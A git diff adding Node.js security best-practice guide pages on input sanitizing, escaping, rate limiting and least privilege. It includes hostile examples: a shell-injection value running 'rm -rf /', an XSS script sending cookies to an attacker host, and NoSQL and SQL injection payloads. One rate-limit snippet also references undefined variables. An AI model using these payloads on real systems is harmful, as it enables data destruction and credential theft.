> ... it’s not just using the right hashing algorithm. I’ve talked extensively about how the right tool also includes the necessary ingredient of “time” as part of the password hashing algorithm and what it means for the attacker who’s trying to crack passwords through brute-force.
|
||||||
31
sections/security/childprocesses.md
Normal file
31
sections/security/childprocesses.md
Normal file
@ -0,0 +1,31 @@
|
|||||||
|
# Be cautious when working with child processes
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
As great as child processes are, they should be used with caution. Passing in user input must be sanitized, if not avoided at all.
|
||||||
|
The dangers of unsanitized input executing system-level logic are unlimited, reaching from remote code execution to the exposure of
|
||||||
|
sensitive system data and even data loss. A check list of preparations could look like this
|
||||||
|
|
||||||
|
- avoid user input in every case, otherwise validate and sanitize it
|
||||||
|
- limit the privileges of the parent and child processes using user/group identities
|
||||||
|
- run your process inside of an isolated environment to prevent unwanted side-effects if the other preparations fail
|
||||||
|
|
||||||
|
### Code example: Dangers of unsanitized child process executions
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
const { exec } = require('child_process');
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
// as an example, take a script that takes two arguments, one of them is unsanitized user input
|
||||||
|
exec('"/path/to/test file/someScript.sh" --someOption ' + input);
|
||||||
|
|
||||||
|
// -> imagine what could happen if the user simply enters something like '&& rm -rf --no-preserve-root /'
|
||||||
|
// you'd be in for an unwanted surprise
|
||||||
|
```
|
||||||
|
|
||||||
|
### Additional resources
|
||||||
|
|
||||||
|
From the Node.js child process [documentation](https://nodejs.org/dist/latest-v8.x/docs/api/child_process.html#child_process_child_process_exec_command_options_callback):
|
||||||
|
|
||||||
|
> Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.
|
||||||
96
sections/security/commonsecuritybestpractices.md
Normal file
96
sections/security/commonsecuritybestpractices.md
Normal file
@ -0,0 +1,96 @@
|
|||||||
|
[✔]: ../../assets/images/checkbox-small-blue.png
|
||||||
|
|
||||||
|
# Common Node.js security best practices
|
||||||
|
|
||||||
|
The common security guidelines section contains best practices that are standardized in many frameworks and conventions, running an application with ssl/tls for example should be a common guideline and convention followed in every setup to achieve great security benefits.
|
||||||
|
|
||||||
|
## ![✔] Use SSL/TLS to encrypt the client-server connection
|
||||||
|
|
||||||
|
**TL;DR:** In the times of [free SSL/TLS certificates](https://letsencrypt.org/) and easy configuration of those, you do no longer have to weigh advantages and disadvantages of using a secure server because the advantages such as security, support of modern technology and trust clearly outweigh the disadvantages like minimal overhead compared to pure http.
|
||||||
|
|
||||||
|
**Otherwise:** Attackers could perform man-in-the-middle attacks, spy on your users' behaviour and perform even more malicious actions when the connection is unencrypted
|
||||||
|
|
||||||
|
🔗 [**Read More: Running a secure Node.js server**](secureserver.md)
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] Comparing secret values and hashes securely
|
||||||
|
|
||||||
|
**TL;DR:** When comparing secret values or hashes like HMAC digests, you should use the [`crypto.timingSafeEqual(a, b)`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_timingsafeequal_a_b) function Node provides out of the box since Node.js v6.6.0. This method compares two given objects and keeps comparing even if data does not match. The default equality comparison methods would simply return after a character mismatch, allowing timing attacks based on the operation length.
|
||||||
|
|
||||||
|
**Otherwise:** Using default equality comparison operators you might expose critical information based on the time taken to compare two objects
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
## ![✔] Generating random strings using Node.js
|
||||||
|
|
||||||
|
**TL;DR:** Using a custom-built function generating pseudo-random strings for tokens and other security-sensitive use cases might actually not be as random as you think, rendering your application vulnerable to cryptographic attacks. When you have to generate secure random strings, use the [`crypto.RandomBytes(size, [callback])`](https://nodejs.org/dist/latest-v9.x/docs/api/crypto.html#crypto_crypto_randombytes_size_callback) function using available entropy provided by the system.
|
||||||
|
|
||||||
|
**Otherwise:** When generating pseudo-random strings without cryptographically secure methods, attackers might predict and reproduce the generated results, rendering your application insecure
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
|
||||||
|
Going on, below we've listed some important bits of advice from the OWASP project.
|
||||||
|
|
||||||
|
## ![✔] OWASP A2: Broken Authentication
|
||||||
|
|
||||||
|
- Require MFA/2FA for important services and accounts
|
||||||
|
- Rotate passwords and access keys frequently, including SSH keys
|
||||||
|
- Apply strong password policies, both for ops and in-application user management ([🔗 OWASP password recommendation](https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls.22))
|
||||||
|
- Do not ship or deploy your application with any default credentials, particularly for admin users or external services you depend on
|
||||||
|
- Use only standard authentication methods like OAuth, OpenID, etc. - **avoid** basic authentication
|
||||||
|
- Auth rate limiting: Disallow more than _X_ login attempts (including password recovery, etc.) in a period of _Y_
|
||||||
|
- On login failure, don't let the user know whether the username or password verification failed, just return a common auth error
|
||||||
|
- Consider using a centralized user management system to avoid managing multiple account per employee (e.g. GitHub, AWS, Jenkins, etc) and to benefit from a battle-tested user management system
|
||||||
|
|
||||||
|
## ![✔] OWASP A5: Broken access control
|
||||||
|
|
||||||
|
- Respect the [principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) - every component and DevOps person should only have access to the necessary information and resources
|
||||||
|
- **Never** work with the console/root (full-privilege) account except for account management
|
||||||
|
- Run all instances/containers on behalf of a role/service account
|
||||||
|
- Assign permissions to groups and not to users. This should make permission management easier and more transparent for most cases
|
||||||
|
|
||||||
|
## ![✔] OWASP A6: Security Misconfiguration
|
||||||
|
|
||||||
|
- Access to production environment internals is done through the internal network only, use SSH or other ways, but _never_ expose internal services
|
||||||
|
- Restrict internal network access - explicitly set which resource can access other resources (e.g. network policy or subnets)
|
||||||
|
- If using cookies, configure it to "secured" mode where it's being sent over SSL only
|
||||||
|
- If using cookies, configure it for "same site" only so only requests from same domain will get back the designated cookies
|
||||||
|
- If using cookies, prefer "http only" configuration that prevent browser side JavaScript code from accessing the cookies
|
||||||
|
- Protect each VPC with strict and restrictive access rules
|
||||||
|
- Prioritize threats using any standard security threat modeling like STRIDE or DREAD
|
||||||
|
- Protect against DDoS attacks using HTTP(S) and TCP load balancers
|
||||||
|
- Perform periodic penetration tests by specialized agencies
|
||||||
|
|
||||||
|
## ![✔] OWASP A3: Sensitive Data Exposure
|
||||||
|
|
||||||
|
- Only accept SSL/TLS connections, enforce Strict-Transport-Security using headers
|
||||||
|
- Separate the network into segments (i.e. subnets) and ensure each node has the least necessary networking access permissions
|
||||||
|
- Group all services/instances that need no internet access and explictly disallow any outgoing connection (a.k.a private subnet)
|
||||||
|
- Store all secrets in a vault products like AWS KMS, HashiCorp Vault or Google Cloud KMS
|
||||||
|
- Lock down sensitive instance metadata using metadata
|
||||||
|
- Encrypt data in transit when it leaves a physical boundary
|
||||||
|
- Don't include secrets in log statements
|
||||||
|
- Avoid showing plain passwords in the frontend, take necessary measures in the backend and never store sensitive information in plaintext
|
||||||
|
|
||||||
|
## ![✔] OWASP A9: Using Components With Known Security Vulneraibilities
|
||||||
|
|
||||||
|
- Scan docker images for known vulnerabilities (using Docker's and other vendors offer scanning services)
|
||||||
|
- Enable automatic instance (machine) patching and upgrades to avoid running old OS versions that lack security patches
|
||||||
|
- Provide the user with both 'id', 'access' and 'refresh' token so the access token is short-lived and renewed with the refresh token
|
||||||
|
- Log and audit each API call to cloud and management services (e.g who deleted the S3 bucket?) using services like AWS CloudTrail
|
||||||
|
- Run the security checker of your cloud provider (e.g. AWS security trust advisor)
|
||||||
|
|
||||||
|
## ![✔] OWASP A10: Insufficient Logging & Monitoring
|
||||||
|
|
||||||
|
- Alert on remarkable or suspicious auditing events like user login, new user creation, permission change, etc
|
||||||
|
|
||||||
|
- Alert on irregular amount of login failures (or equivelant actions like forgot password)
|
||||||
|
|
||||||
|
- Include the time and username that initiated the update in each DB record
|
||||||
|
|
||||||
|
## ![✔] OWASP A7: Cross-Site-Scripting (XSS)
|
||||||
|
|
||||||
|
- Instruct the browser to load resources from the same domain only, using the Content-Security-Policy http header
|
||||||
|
|
||||||
|
<br/><br/><br/>
|
||||||
62
sections/security/dependencysecurity.md
Normal file
62
sections/security/dependencysecurity.md
Normal file
@ -0,0 +1,62 @@
|
|||||||
|
# Constantly and automatically inspect for vulnerable dependencies
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
The majority of Node.js applications rely heavily on a large number of third party modules from NPM or Yarn package managers due to ease and speed of development. However, the downside to this benefit is the security risks of including unknown vulnerabilities into your application, which is a risk recognised by it's place in the OWASP top critical web application security risks list.
|
||||||
|
|
||||||
|
There are a number of tools available to help identify third party packages in Node.js applications which have been identified as vulnerable by the community to mitigate the risk of introducing them into your project. These can be used periodically from CLI tools or included as part of your application's build process.
|
||||||
|
|
||||||
|
### Table of Contents
|
||||||
|
- [Node Security Platform (nsp)](#node-security-platform)
|
||||||
|
- [Snyk](#snyk)
|
||||||
|
- [Greenkeeper](#greenkeeper)
|
||||||
|
|
||||||
|
### Node Security Platform (nsp)
|
||||||
|
Node Security Platform is a set of services targeted towards dependency management with a focus on security.
|
||||||
|
|
||||||
|
The most common use of this tool is the service nsp Live. This is a service which integrates into a project's CI workflow and Github Pull Requests to identify vulnerabilities present in the project. The benefits of this mean that when new modules are added, any vulnerabilites are automatically identified in order for the security risk to be mitigated before these dependencies reach master. This also includes new vulnerabilites which are found in existing dependencies, as well as when new dependencies are introduced.
|
||||||
|
|
||||||
|
There is also an nsp CLI tool, which traverses your dependencies checking for vulnerabilities against the advisories list. To use this tool:
|
||||||
|
Install the module globally.
|
||||||
|
|
||||||
|
`npm install -g nsp`
|
||||||
|
|
||||||
|
Run the CLI tool from the root of the project directory.
|
||||||
|
|
||||||
|
`nsp check`
|
||||||
|
|
||||||
|
An example output of `nsp check`:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
🔗 [Read on: NSP website](https://nodesecurity.io/)
|
||||||
|
|
||||||
|
🔗 [Read on: Example advisory for a recent vulnerability in moment.js](https://nodesecurity.io/advisories/532)
|
||||||
|
|
||||||
|
### Snyk
|
||||||
|
Snyk offers a feature-rich CLI, as well as GitHub integration. Snyk goes further with this and in addition to notifying vulnerabilities, also automatically creates new pull requests fixing vulnerabilities as patches are released for known vulnerabilties.
|
||||||
|
|
||||||
|
Snyk's feature rich website also allows for ad-hoc assessment of dependencies when provided with a GitHub repository or npm module url. You can also search for npm packages which have vulnerabilties directly.
|
||||||
|
|
||||||
|
An example of the output of the Synk GitHub integration automatically created pull request:
|
||||||
|

|
||||||
|
|
||||||
|
🔗 [Read on: Snyk website](https://snyk.io/)
|
||||||
|
|
||||||
|
🔗 [Read on: Synk online tool to check npm packages and GitHub modules](https://snyk.io/test)
|
||||||
|
|
||||||
|
### Greenkeeper
|
||||||
|
Greenkeeper is a service which offers real-time dependency updates, which keeps an application more secure by always using the most update to date and patched dependency versions.
|
||||||
|
|
||||||
|
Greenkeeper watches the npm dependencies specified in a repository's `package.json` file, and automatically creates a working branch with each dependency update. The repository CI suite is then run to reveal any breaking changes for the updated dependency version in the application. If CI fails due the dependency update, a clear and consise issue is created in the repository to be actioned outlining the current and updated package versions, along with information and commit history of the updated version.
|
||||||
|
|
||||||
|
An example of the output of the Greenkeeper GitHub integration automatically created pull request:
|
||||||
|
|
||||||
|

|
||||||
|
🔗 [Read on: Greenkeeper website](https://greenkeeper.io/)
|
||||||
|
|
||||||
|
### Additional resources
|
||||||
|
|
||||||
|
🔗 [Rising Stack Blog: Node.js dependency risks](https://blog.risingstack.com/controlling-node-js-security-risk-npm-dependencies/)
|
||||||
|
|
||||||
|
🔗 [NodeSource Blog: Improving NPM security](https://nodesource.com/blog/how-to-reduce-risk-and-improve-security-around-npm)
|
||||||
55
sections/security/escape-output.md
Normal file
55
sections/security/escape-output.md
Normal file
@ -0,0 +1,55 @@
|
|||||||
|
# Escape Output
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
HTML and other web languages mix content with executable code - a single HTML paragraph might contain a visual representation of data along with JS execution instructions. When rendering HTML or returning data from API, what we believe is a pure content might actually embody JS code that will get interpreted and executed by the browser. This happens, for example, when we render content that was inserted by an attacker to a database - for example `<div><script>//malicious code</script></div>`. This can be mitigated by instructing the browser to treat any chunk of untrusted data as content only and never interpret it - this technique is called escaping. Many NPM libraries and HTML templating engines provide escaping capabilities (example: [escape-html](https://github.com/component/escape-html), [node-esapi](https://github.com/ESAPI/node-esapi)). Not only HTML content should be escaped but also CSS and JS
|
||||||
|
|
||||||
|
|
||||||
|
### Code example - Don't put untrusted data into your HTML
|
||||||
|
```javascript
|
||||||
|
<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script
|
||||||
|
|
||||||
|
<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment
|
||||||
|
|
||||||
|
<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name
|
||||||
|
|
||||||
|
<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name
|
||||||
|
|
||||||
|
<style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### Code example - Un-innocent content that might be injected into a DB
|
||||||
|
```javascript
|
||||||
|
<div>
|
||||||
|
<b>A pseudo comment to the a post</b>
|
||||||
|
<script>
|
||||||
|
window.location='http://attacker/?cookie='+document.cookie
|
||||||
|
</script>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
### Blog Quote: "When we don’t want the characters to be interpreted"
|
||||||
|
From the Blog [benramsey.com](https://benramsey.com/articles/escape-output/)
|
||||||
|
> Data may leave your application in the form of HTML sent to a Web browser, SQL sent to a database, XML sent to an RSS reader, WML sent to a wireless device, etc. The possibilities are limitless. Each of these has its own set of special characters that are interpreted differently than the rest of the plain text received. Sometimes we want to send these special characters so that they are interpreted (HTML tags sent to a Web browser, for example), while other times (in the case of input from users or some other source), we don’t want the characters to be interpreted, so we need to escape them.
|
||||||
|
|
||||||
|
> Escaping is also sometimes referred to as encoding. In short, it is the process of representing data in a way that it will not be executed or interpreted. For example, HTML will render the following text in a Web browser as bold-faced text because the <strong> tags have special meaning:
|
||||||
|
<strong>This is bold text.</strong>
|
||||||
|
But, suppose I want to render the tags in the browser and avoid their interpretation. Then, I need to escape the angle brackets, which have special meaning in HTML. The following illustrates the escaped HTML:
|
||||||
|
|
||||||
|
<strong>This is bold text.</strong>
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
### Blog Quote: "OWASP recommends using a security-focused encoding library"
|
||||||
|
From the blog OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
|
||||||
|
> "Writing these encoders is not tremendously difficult, but there are quite a few hidden pitfalls. For example, you might be tempted to use some of the escaping shortcuts like \" in JavaScript. However, these values are dangerous and may be misinterpreted by the nested parsers in the browser. You might also forget to escape the escape character, which attackers can use to neutralize your attempts to be safe. **OWASP recommends using a security-focused encoding library to make sure these rules are properly implemented**."
|
||||||
|
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
### Blog Quote: "You MUST use the escape syntax for the part of the HTML"
|
||||||
|
From the blog OWASP [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
|
||||||
|
> "But HTML entity encoding doesn't work if you're putting untrusted data inside a <script> tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into."
|
||||||
|
|
||||||
|
|
||||||
27
sections/security/expirejwt.md
Normal file
27
sections/security/expirejwt.md
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
# Support blacklisting JWT tokens
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
By design, JWT(JSON Web Tokens) are completely stateless, so once a valid token is signed by an issuer, the token may be verified as authentic by the application. The problem this leads to is the security concern where a leaked token could still be used and unable to be revoked, due to the signature remaining valid as long as the signature provided by the issues matches what the application is expecting.
|
||||||
|
Due to this, when using JWT authentication, an application should manage a blacklist of expired or revoked tokens to retain user's security in the case a token needs to be revoked.
|
||||||
|
|
||||||
|
### `express-jwt-blacklist` example
|
||||||
|
An example of running `express-jwt-blacklist` on a Node.js project using the `express-jwt`
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
var jwt = require('express-jwt');
|
||||||
|
var blacklist = require('express-jwt-blacklist');
|
||||||
|
|
||||||
|
app.use(jwt({
|
||||||
|
secret: 'my-secret',
|
||||||
|
isRevoked: blacklist.isRevoked
|
||||||
|
}));
|
||||||
|
|
||||||
|
app.get('/logout', function (req, res) {
|
||||||
|
blacklist.revoke(req.user)
|
||||||
|
res.sendStatus(200);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
From the blog by [Marc Busqué](waiting-for-dev.github.io/blog/2017/01/25/jwt_secure_usage/):
|
||||||
|
> ...add a revocation layer on top of JWT, even if it implies losing its stateless nature.
|
||||||
22
sections/security/hideerrors.md
Normal file
22
sections/security/hideerrors.md
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
# Hide error details from client
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
Exposing application error details to the client in production should be avoided due to risk of exposing sensitive application details such as server filepaths, third party modules in use, and other internal workings of the application which could be exploited by an attacker.
|
||||||
|
Express comes with a built-in error handler, which takes care of any errors that might be encountered in the app. This default error-handling middleware function is added at the end of the middleware function stack.
|
||||||
|
If you pass an error to `next()` and you do not handle it in a custom error handler, it will be handled by the built-in Express error handler; the error will be written to the client with the stack trace. This behaviour will be true when `NODE_ENV` is set to `development`, however when `NODE_ENV` is set to `production`, the stack trace is not written, only the HTTP response code.
|
||||||
|
|
||||||
|
### Code example: Express error handler
|
||||||
|
``` javascript
|
||||||
|
// production error handler
|
||||||
|
// no stacktraces leaked to user
|
||||||
|
app.use(function(err, req, res, next) {
|
||||||
|
res.status(err.status || 500);
|
||||||
|
res.render('error', {
|
||||||
|
message: err.message,
|
||||||
|
error: {}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
```
|
||||||
|
### Additional resources
|
||||||
|
|
||||||
|
🔗 [Express.js error handling documentation](https://expressjs.com/en/guide/error-handling.html)
|
||||||
25
sections/security/limitrequests.md
Normal file
25
sections/security/limitrequests.md
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
# Limit concurrent requests using a balancer or a middleware
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
Rate limiting should be implemented in your application to protect a Node.js application from being overwhelmed by too many requests at the same time. Rate limiting is a task best performed with a service designed for this task, such as nginx, however it is also possible with application middleware such as [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit).
|
||||||
|
|
||||||
|
### Code example: Express rate limiting middleware for certain routes
|
||||||
|
Using [express-rate-limiter](https://www.npmjs.com/package/express-rate-limit) npm package
|
||||||
|
``` javascript
|
||||||
|
var RateLimit = require('express-rate-limit');
|
||||||
|
// important if behind a proxy to ensure client IP is passed to req.ip
|
||||||
|
app.enable('trust proxy');
|
||||||
|
|
||||||
|
var apiLimiter = new RateLimit({
|
||||||
|
windowMs: 15*60*1000, // 15 minutes
|
||||||
|
max: 100,
|
||||||
|
delayMs: 0 // disabled
|
||||||
|
});
|
||||||
|
|
||||||
|
// only apply to requests that begin with /user/
|
||||||
|
app.use('/user/', apiLimiter);
|
||||||
|
```
|
||||||
|
### What Other Bloggers Say
|
||||||
|
From the [NGINX blog](https://www.nginx.com/blog/rate-limiting-nginx/):
|
||||||
|
> Rate limiting can be used for security purposes, for example to slow down brute‑force password‑guessing attacks. It can help protect against DDoS attacks by limiting the incoming request rate to a value typical for real users, and (with logging) identify the targeted URLs. More generally, it is used to protect upstream application servers from being overwhelmed by too many user requests at the same time.
|
||||||
|
|
||||||
39
sections/security/lintrules.md
Normal file
39
sections/security/lintrules.md
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
# Embrace linter security rules
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
Security plugins for ESLint such as [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) offer code security checks based on a number of known vulnerabilities, such as unsafe regex, unsafe use of `eval()`, and non literal filenames being used when accessing the file system within an application. The use of git hooks such as [pre-git](https://github.com/bahmutov/pre-git) allows to further enforce any rules on source control before they get distributed to remotes, one of which can be to check that no secrets were added to source control.
|
||||||
|
|
||||||
|
### `eslint-plugin-security` example
|
||||||
|
|
||||||
|
Some examples of unsafe practice rules detected by `eslint-plugin-security`:
|
||||||
|
|
||||||
|
`detect-pseudoRandomBytes`
|
||||||
|
```javascript
|
||||||
|
const insecure = crypto.pseudoRandomBytes(5);
|
||||||
|
```
|
||||||
|
|
||||||
|
`detect-non-literal-fs-filename`
|
||||||
|
```javascript
|
||||||
|
const path = req.body.userinput;
|
||||||
|
fs.readFile(path);
|
||||||
|
```
|
||||||
|
|
||||||
|
`detect-eval-with-expression`
|
||||||
|
```javascript
|
||||||
|
const userinput = req.body.userinput;
|
||||||
|
eval(userinput);
|
||||||
|
```
|
||||||
|
|
||||||
|
`detect-non-literal-regexp`
|
||||||
|
```javascript
|
||||||
|
const unsafe = new RegExp('/(x+x+)+y/)');
|
||||||
|
```
|
||||||
|
|
||||||
|
An example of running `eslint-plugin-security` on a Node.js project with the above unsafe code practices:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
From the blog by [Adam Baldwin](https://www.safaribooksonline.com/blog/2014/03/28/using-eslint-plugins-node-js-app-security/):
|
||||||
|
> Linting doesn’t have to be just a tool to enforce pedantic rules about whitespace, semicolons or eval statements. ESLint provides a powerful framework for eliminating a wide variety of potentially dangerous patterns in your code (regular expressions, input validation, and so on). I think it provides a powerful new tool that’s worthy of consideration by security-conscious JavaScript developers.
|
||||||
51
sections/security/login-rate-limit.md
Normal file
51
sections/security/login-rate-limit.md
Normal file
@ -0,0 +1,51 @@
|
|||||||
|
# Implement express rate limiting for login routes
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
Leaving higher privileged routes such as `/login` or `/admin` exposed without rate limiting leaves an application at risk of brute force password dictionary attacks. Using a strategy to limit requests to such routes can prevent the success of this by limiting the number of allow attempts based on a request property such as ip, or a body parameter such as username/email address.
|
||||||
|
|
||||||
|
An out of memory store such as Redis or MongoDB should be used in production to enforce the shared limit across application clusters.
|
||||||
|
|
||||||
|
### Code example: Using express-brute
|
||||||
|
```javascript
|
||||||
|
const ExpressBrute = require('express-brute');
|
||||||
|
const RedisStore = require('express-brute-redis');
|
||||||
|
|
||||||
|
const redis = new RedisStore({
|
||||||
|
host: '127.0.0.1',
|
||||||
|
port: 6379
|
||||||
|
});
|
||||||
|
|
||||||
|
const bruteforce = new ExpressBrute(redis);
|
||||||
|
// Start slowing requests after 5 failed attempts to login for the same user
|
||||||
|
const loginBruteforce = new ExpressBrute(store, {
|
||||||
|
freeRetries: 5,
|
||||||
|
minWait: 5*60*1000, // 5 minutes
|
||||||
|
maxWait: 60*60*1000, // 1 hour,
|
||||||
|
failCallback: failCallback,
|
||||||
|
handleStoreError: handleStoreError
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
app.post('/login',
|
||||||
|
userBruteforce.getMiddleware({
|
||||||
|
key: function(req, res, next) {
|
||||||
|
// prevent too many attempts for the same username
|
||||||
|
next(req.body.username);
|
||||||
|
}
|
||||||
|
}), // error 403 if we hit this route too often
|
||||||
|
function (req, res, next) {
|
||||||
|
if (User.isValidLogin(req.body.username, req.body.password)) {
|
||||||
|
// reset the failure counter for valid login
|
||||||
|
req.brute.reset(function () {
|
||||||
|
res.redirect('/'); // logged in
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
//handle invalid user
|
||||||
|
}
|
||||||
|
}
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
### What other bloggers say
|
||||||
|
From the Essential Node.js Security book by [Liran Tal](https://leanpub.com/nodejssecurity):
|
||||||
|
> Brute-force attacks may be employed by an attacker to send a series of username/password pairs to your REST end-points over POST or another RESTful API that you have opened to implement them. Such a dictionary attack is very straight-forward and easy to execute and may be performed on any other parts of your API or page routing, unrelated to logins.
|
||||||
30
sections/security/non-root-user.md
Normal file
30
sections/security/non-root-user.md
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
# Run Node.js as Non-Root User
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
According to the 'Principle of least privilege' a user/process must be able to access only the necessary information and resources. Granting root access to an attacker opens a whole new world of malicious ideas like routing traffic to other servers. In practice, most Node.js apps don't need root access and don't run with such privileges. However, there are two common scenarios that might push to root usage: (1) to gain access to privilege port (e.g. port 80) Node.js must run as root (2) Docker containers by default run as root(!). It's recommended for Node.js webservers to listen on non-privilege ports and rely on a reverse-proxy like nginx to redirect incoming traffic from port 80 to your Node.js application. When building a Docker image, highly secured apps should run the container with an alternate non-root user. Most Docker clusters (e.g. Swarm, Kubernetes) allow setting the security context declaratively
|
||||||
|
|
||||||
|
### Code example - Building a Docker image as non-root
|
||||||
|
```javascript
|
||||||
|
FROM node:latest
|
||||||
|
COPY package.json .
|
||||||
|
RUN npm install
|
||||||
|
COPY . .
|
||||||
|
EXPOSE 3000
|
||||||
|
USER node
|
||||||
|
CMD ["node", "server.js"]
|
||||||
|
```
|
||||||
|
<br/><br/>
|
||||||
|
### Blog Quote: "By default, Docker runs container as root"
|
||||||
|
From the Repository docker-node by [eyalzek](https://github.com/nodejs/docker-node/blob/master/docs/BestPractices.md#non-root-user):
|
||||||
|
> By default, Docker runs container as root which inside of the container can pose as a security issue. You would want to run the container as an unprivileged user wherever possible. The node images provide the node user for such purpose. The Docker Image can then be run with the node user in the following way: "-u 'node'"
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
### Blog Quote: "The attacker will have total control over your machine"
|
||||||
|
From the blog Don't run Node.js as root by [Olivier Lalonde](http://syskall.com/dont-run-node-dot-js-as-root/):
|
||||||
|
> Indeed, if you are running your server as root and it gets hacked through a vulnerability in your code, the attacker will have total control over your machine. This means the attacker could potentially wipe out your whole disk or worse. On the other hand, if your server runs with the permissions of a regular user, the attacker will be limited by those permissions.
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
### Blog Quote: "If you need to run your application on port 80 or 443, you can do port forwarding"
|
||||||
|
From the blog Developing Secure Node.js Applications — A Broad Guide by [Deepal Jayasekara](https://jsblog.insiderattack.net/developing-secure-node-js-applications-a-broad-guide-286afdec69ce):
|
||||||
|
> Never run Node.js as root. Running node.js as root will make it worse if an attacker somehow gains control over your application. In this scenario, attacker would also gain root privileges which could result in a catastrophe. If you need to run your application on port 80 or 443, you can do port forwarding using iptables or you can place a front-end proxy such as nginx or apache which routes request from port 80 or 443 to your application
|
||||||
|
|
||||||
51
sections/security/ormodmusage.md
Normal file
51
sections/security/ormodmusage.md
Normal file
@ -0,0 +1,51 @@
|
|||||||
|
# Preventing database injection vulnerabilities by using ORM/ODM libraries or other DAL packages
|
||||||
|
|
||||||
|
### One Paragraph Explainer
|
||||||
|
|
||||||
|
When creating your database logic you should watch out for eventual injection vectors that could be exploited by potential attackers. Writing database queries manually or not including data validation for user requests are the easiest methods to allow for these vulnerabilities. This situation is however easy to avoid when you use suitable packages for validating input and handling database operations. In many cases your system will be safe and sound by using a validation library like
|
||||||
|
[joi](https://github.com/hapijs/joi) or [yup](https://github.com/jquense/yup) and an ORM/ODM from the list below. This should guarantee the use of parameterized queries and data bindings to ensure the validated data is properly escaped and handled without opening unwanted attack vectors. Many of these libraries will ease your life as a developer by enabling many useful features like not having to write complex queries manually, supplying types for language-based type systems or converting data types to wanted formats. To conclude, __always__ validate any data you are going to store and use proper data-mapping libraries to handle the dangerous work for you.
|
||||||
|
|
||||||
|
### Libraries
|
||||||
|
|
||||||
|
- [TypeORM](https://github.com/typeorm/typeorm)
|
||||||
|
- [sequelize](https://github.com/sequelize/sequelize)
|
||||||
|
- [mongoose](https://github.com/Automattic/mongoose)
|
||||||
|
- [Knex](https://github.com/tgriesser/knex)
|
||||||
|
- [Objection.js](https://github.com/Vincit/objection.js)
|
||||||
|
- [waterline](https://github.com/balderdashy/waterline)
|
||||||
|
|
||||||
|
### Example - NoSQL query injection
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
// A query of
|
||||||
|
db.balances.find( { active: true, $where: function() { return obj.credits - obj.debits < userInput; } } );
|
||||||
|
|
||||||
|
// Where userInput equals
|
||||||
|
"(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<10000); return Math.max();})()"
|
||||||
|
|
||||||
|
// will trigger a denial of service
|
||||||
|
|
||||||
|
// Another user input might inject other logic resulting in the database exposing sensitive data
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example - SQL injection
|
||||||
|
|
||||||
|
```
|
||||||
|
SELECT username, firstname, lastname FROM users WHERE id = 'user input';
|
||||||
|
|
||||||
|
SELECT username, firstname, lastname FROM users WHERE id = 'evil'input';
|
||||||
|
```
|
||||||
|
|
||||||
|
### Additional resources
|
||||||
|
|
||||||
|
🔗 [OWASP SQL Injection](https://www.owasp.org/index.php/SQL_Injection)
|
||||||
|
|
||||||
|
🔗 [OWASP SQL Injection Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet)
|
||||||
|
|
||||||
|
